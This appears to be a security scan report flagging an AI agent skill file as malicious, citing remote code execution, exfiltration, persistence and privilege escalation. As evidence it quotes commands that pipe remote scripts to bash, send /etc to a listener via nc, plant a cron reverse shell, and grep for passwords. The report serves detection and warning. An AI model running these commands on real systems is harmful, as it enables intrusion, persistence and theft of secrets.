Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides explicit instructions for downloading and executing shell scripts from external, untrusted sources directly into a shell interpreter.
  • Evidence: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash in SKILL.md.
  • Evidence: curl http://10.10.10.10:8000/exploit.sh -o exploit.sh followed by execution instructions in SKILL.md.
  • [DATA_EXFILTRATION]: The skill contains commands specifically designed to package sensitive system directories and transmit them to external network addresses.
  • Evidence: `tar czf
  • /etc | base64 | nc 10.10.10.10 4444inSKILL.md`.
  • Evidence: Commands to find and copy all PDF files to a 'loot' directory for exfiltration.
  • [PERSISTENCE]: The instructions detail methods for maintaining access to a compromised system across sessions.
  • Evidence: Creating a cron job that executes a reverse shell every minute: (crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -.
  • Evidence: Instructions for installing unauthorized SSH keys into ~/.ssh/authorized_keys.
  • [COMMAND_EXECUTION]: The skill provides numerous examples of reverse shell commands designed to grant remote control to an attacker.
  • Evidence: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1.
  • Evidence: Python and Perl one-liners for interactive socket-based shell access.
  • [PRIVILEGE_ESCALATION]: The skill documents several techniques to bypass security restrictions and gain root access, including environment manipulation.
  • Evidence: PATH hijacking via export PATH=/tmp:$PATH.
  • Evidence: Exploiting LD_PRELOAD with malicious shared objects to gain elevated privileges.
  • [CREDENTIALS_UNSAFE]: The skill includes instructions for searching the filesystem and command history for hardcoded secrets and passwords.
  • Evidence: grep -r "password" /etc and harvesting credentials from .bash_history.
Recommendations
  • HIGH: Downloads and executes remote code from: http://10.10.10.10:8000/exploit.sh, https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
  • CRITICAL: 2 file(s) identified as malware by FileRep - DO NOT USE
  • AI detected serious security threats
